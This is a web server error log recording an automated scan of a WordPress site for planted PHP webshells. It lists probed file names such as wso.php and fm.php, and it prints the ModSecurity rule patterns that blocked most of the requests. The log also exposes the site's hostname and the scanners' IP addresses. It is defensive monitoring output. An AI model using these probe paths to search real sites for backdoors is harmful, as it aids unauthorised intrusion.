[Thu Apr 23 09:57:32.754707 2026] [:error] [pid 59700:tid 59713] [client 91.230.225.22:33335] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "ael8jJXyGZJFeAIDWtmZFwAAAUs"]
[Thu Apr 23 09:57:33.293828 2026] [:error] [pid 59700:tid 59724] [client 185.192.71.34:49405] [client 185.192.71.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "ael8jZXyGZJFeAIDWtmZIgAAAVY"]
[Thu Apr 23 09:57:33.833192 2026] [:error] [pid 64998:tid 65011] [client 91.230.225.204:58715] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Thu Apr 23 09:57:34.380985 2026] [:error] [pid 64998:tid 65013] [client 91.230.225.204:58715] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ael8joV5EysYcTLjmwiEkwAAAcs"]
[Thu Apr 23 09:57:34.936591 2026] [:error] [pid 65000:tid 65040] [client 185.192.71.34:35345] [client 185.192.71.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ael8jr6vRb9j6psK2ZYFogAAAgc"]
[Thu Apr 23 09:57:35.485404 2026] [:error] [pid 42972:tid 43031] [client 185.92.25.114:37707] [client 185.92.25.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "ael8j8OAb-3sOknsk4dKeAAAAE8"]
[Thu Apr 23 09:57:36.034090 2026] [:error] [pid 65000:tid 65056] [client 185.192.71.25:27249] [client 185.192.71.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "ael8kL6vRb9j6psK2ZYFwgAAAhc"]
[Thu Apr 23 09:57:36.881433 2026] [:error] [pid 65000:tid 65046] [client 185.92.25.113:34811] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "ael8kL6vRb9j6psK2ZYFzAAAAg0"]
[Thu Apr 23 09:57:37.985734 2026] [:error] [pid 42972:tid 43019] [client 91.230.225.196:33479] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "ael8kcOAb-3sOknsk4dKogAAAEM"]
[Thu Apr 23 09:57:38.535103 2026] [:error] [pid 42972:tid 43031] [client 91.230.225.24:43869] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Thu Apr 23 09:57:42.446350 2026] [:error] [pid 42972:tid 43025] [client 91.230.225.24:43869] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Thu Apr 23 09:57:42.722160 2026] [:error] [pid 42972:tid 43018] [client 91.230.225.24:43869] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "ael8lsOAb-3sOknsk4dK7AAAAEI"]
[Thu Apr 23 09:57:43.562688 2026] [:error] [pid 25635:tid 25655] [client 91.230.225.18:56403] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Thu Apr 23 09:57:43.837615 2026] [:error] [pid 25635:tid 25663] [client 91.230.225.18:56403] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Thu Apr 23 09:57:45.221049 2026] [:error] [pid 25635:tid 25654] [client 91.230.225.18:56403] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "ael8mcRxv6UsgRGKB3IAigAAAQ8"]
[Thu Apr 23 09:57:46.595778 2026] [:error] [pid 65000:tid 65053] [client 91.230.225.11:41039] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "ael8mr6vRb9j6psK2ZYGUAAAAhQ"]
[Thu Apr 23 09:57:47.135843 2026] [:error] [pid 25635:tid 25662] [client 185.192.71.22:53387] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "ael8m8Rxv6UsgRGKB3IApAAAARc"]
[Thu Apr 23 09:57:48.857899 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.10:35871] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ael8nIV5EysYcTLjmwiFpgAAAcY"]
[Thu Apr 23 09:57:49.986636 2026] [:error] [pid 43083:tid 43100] [client 91.230.225.208:56429] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Thu Apr 23 09:57:50.264321 2026] [:error] [pid 43083:tid 43090] [client 91.230.225.208:56429] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Thu Apr 23 09:57:50.550840 2026] [:error] [pid 43083:tid 43099] [client 91.230.225.208:56429] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Thu Apr 23 09:57:50.832566 2026] [:error] [pid 43083:tid 43088] [client 91.230.225.208:56429] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Thu Apr 23 09:57:52.606795 2026] [:error] [pid 43083:tid 43100] [client 91.230.225.208:56429] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "ael8oDC5hrvNXosL83IeHQAAAM8"]
[Thu Apr 23 09:57:53.189893 2026] [:error] [pid 25635:tid 25661] [client 185.192.71.22:52679] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "ael8ocRxv6UsgRGKB3IA8gAAARY"]
[Thu Apr 23 09:57:53.735837 2026] [:error] [pid 42972:tid 43017] [client 91.230.225.204:48921] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "ael8ocOAb-3sOknsk4dLdAAAAEE"]
[Thu Apr 23 09:57:54.296739 2026] [:error] [pid 25635:tid 25652] [client 91.230.225.13:38855] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "ael8osRxv6UsgRGKB3IBCgAAAQ0"]
[Thu Apr 23 09:57:54.834697 2026] [:error] [pid 42973:tid 43058] [client 185.192.71.38:59175] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "ael8om6I0QqmmmLTHE34AgAAAI8"]
[Thu Apr 23 09:57:55.374209 2026] [:error] [pid 65000:tid 65050] [client 91.230.225.14:35941] [client 91.230.225.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ael8o76vRb9j6psK2ZYHCwAAAhE"]
[Thu Apr 23 09:57:56.207087 2026] [:error] [pid 64998:tid 65006] [client 91.230.225.206:52805] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "ael8pIV5EysYcTLjmwiGBgAAAcQ"]
[Thu Apr 23 09:57:56.770107 2026] [:error] [pid 42972:tid 43037] [client 91.230.225.18:34487] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "ael8pMOAb-3sOknsk4dLiwAAAFU"]
[Thu Apr 23 09:57:57.303285 2026] [:error] [pid 64967:tid 64975] [client 91.230.225.21:25551] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ael8pYAV4GfOOdX8Qzo21wAAAYY"]
[Thu Apr 23 09:57:57.856377 2026] [:error] [pid 42972:tid 43017] [client 91.230.225.197:22885] [client 91.230.225.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ael8pcOAb-3sOknsk4dLkAAAAEE"]
[Thu Apr 23 09:57:58.957639 2026] [:error] [pid 59700:tid 59724] [client 91.230.225.203:43467] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "ael8ppXyGZJFeAIDWtmaYAAAAVY"]
[Thu Apr 23 09:57:59.790213 2026] [:error] [pid 64998:tid 65023] [client 91.230.225.13:24051] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "ael8p4V5EysYcTLjmwiGKgAAAdU"]
[Thu Apr 23 09:58:00.340629 2026] [:error] [pid 64998:tid 65011] [client 91.230.225.21:43833] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Thu Apr 23 09:58:00.893599 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.21:43833] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "ael8qIV5EysYcTLjmwiGRAAAAcY"]
[Thu Apr 23 09:58:02.005436 2026] [:error] [pid 43083:tid 43100] [client 91.230.225.201:50729] [client 91.230.225.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "ael8qjC5hrvNXosL83IefQAAAM8"]
[Thu Apr 23 09:58:03.195763 2026] [:error] [pid 42972:tid 43017] [client 91.230.225.202:30963] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Thu Apr 23 09:58:03.498731 2026] [:error] [pid 42972:tid 43040] [client 91.230.225.202:30963] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "ael8q8OAb-3sOknsk4dL0wAAAFg"]
[Thu Apr 23 09:58:04.369642 2026] [:error] [pid 59700:tid 59723] [client 91.230.225.208:21487] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Thu Apr 23 09:58:04.656751 2026] [:error] [pid 59700:tid 59715] [client 91.230.225.208:21487] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Thu Apr 23 09:58:04.944096 2026] [:error] [pid 59700:tid 59724] [client 91.230.225.208:21487] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Thu Apr 23 09:58:05.233472 2026] [:error] [pid 59700:tid 59714] [client 91.230.225.208:21487] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "ael8rZXyGZJFeAIDWtmatAAAAUw"]
[Thu Apr 23 09:58:05.773767 2026] [:error] [pid 65000:tid 65056] [client 91.230.225.207:20803] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Thu Apr 23 09:58:06.043107 2026] [:error] [pid 65000:tid 65037] [client 91.230.225.207:20803] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "ael8rr6vRb9j6psK2ZYHhQAAAgQ"]
[Thu Apr 23 09:58:08.258135 2026] [:error] [pid 43083:tid 43094] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Apr 23 09:58:08.535872 2026] [:error] [pid 43083:tid 43104] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Thu Apr 23 09:58:08.815013 2026] [:error] [pid 43083:tid 43100] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Thu Apr 23 09:58:10.202432 2026] [:error] [pid 43083:tid 43102] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Thu Apr 23 09:58:10.476943 2026] [:error] [pid 43083:tid 43085] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Thu Apr 23 09:58:11.058021 2026] [:error] [pid 43083:tid 43096] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Thu Apr 23 09:58:11.878820 2026] [:error] [pid 43083:tid 43097] [client 185.92.25.113:50321] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Thu Apr 23 09:58:12.147779 2026] [:error] [pid 43083:tid 43100] [client 185.92.25.113:50321] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "ael8tDC5hrvNXosL83IfAwAAAM8"]
[Thu Apr 23 09:58:12.702063 2026] [:error] [pid 25635:tid 25658] [client 91.230.225.196:50541] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ael8tMRxv6UsgRGKB3ICCQAAARM"]
[Thu Apr 23 09:58:13.267662 2026] [:error] [pid 64998:tid 65025] [client 91.230.225.198:26947] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Thu Apr 23 09:58:13.559073 2026] [:error] [pid 64998:tid 65002] [client 91.230.225.198:26947] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "ael8tYV5EysYcTLjmwiHYQAAAcA"]
[Thu Apr 23 09:58:14.418966 2026] [:error] [pid 64998:tid 65023] [client 91.230.225.23:35473] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Apr 23 09:58:14.713463 2026] [:error] [pid 64998:tid 65003] [client 91.230.225.23:35473] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "ael8toV5EysYcTLjmwiHhgAAAcE"]
[Thu Apr 23 09:58:15.256002 2026] [:error] [pid 64967:tid 64981] [client 91.230.225.20:33451] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ael8t4AV4GfOOdX8Qzo3ZQAAAYw"]
[Thu Apr 23 09:58:16.918488 2026] [:error] [pid 43083:tid 43109] [client 91.230.225.18:64431] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ael8uDC5hrvNXosL83IfQQAAANg"]
[Thu Apr 23 09:58:17.468640 2026] [:error] [pid 59700:tid 59708] [client 185.192.71.38:50777] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "ael8uZXyGZJFeAIDWtmbJwAAAUY"]
[Thu Apr 23 09:58:18.856070 2026] [:error] [pid 43083:tid 43103] [client 91.230.225.11:33659] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Thu Apr 23 09:58:19.411569 2026] [:error] [pid 43083:tid 43090] [client 91.230.225.11:33659] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "ael8uzC5hrvNXosL83IfZwAAAMU"]
[Thu Apr 23 09:58:20.271366 2026] [:error] [pid 65000:tid 65056] [client 185.192.71.31:42287] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Thu Apr 23 09:58:20.837450 2026] [:error] [pid 65000:tid 65051] [client 185.192.71.31:42287] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "ael8vL6vRb9j6psK2ZYIGAAAAhI"]
[Thu Apr 23 09:58:21.373518 2026] [:error] [pid 64967:tid 64981] [client 91.230.225.15:54279] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "ael8vYAV4GfOOdX8Qzo3kwAAAYw"]
[Thu Apr 23 09:58:22.194703 2026] [:error] [pid 43083:tid 43094] [client 91.230.225.16:20877] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Thu Apr 23 09:58:22.463773 2026] [:error] [pid 43083:tid 43099] [client 91.230.225.16:20877] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "ael8vjC5hrvNXosL83IflgAAAM4"]
[Thu Apr 23 09:58:23.001105 2026] [:error] [pid 65000:tid 65042] [client 185.192.71.25:47787] [client 185.192.71.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "ael8vr6vRb9j6psK2ZYIKQAAAgk"]
[Thu Apr 23 09:58:24.108372 2026] [:error] [pid 64998:tid 65014] [client 185.192.71.32:30169] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Thu Apr 23 09:58:24.377119 2026] [:error] [pid 64998:tid 65010] [client 185.192.71.32:30169] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Thu Apr 23 09:58:24.932048 2026] [:error] [pid 64998:tid 65009] [client 185.192.71.32:30169] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
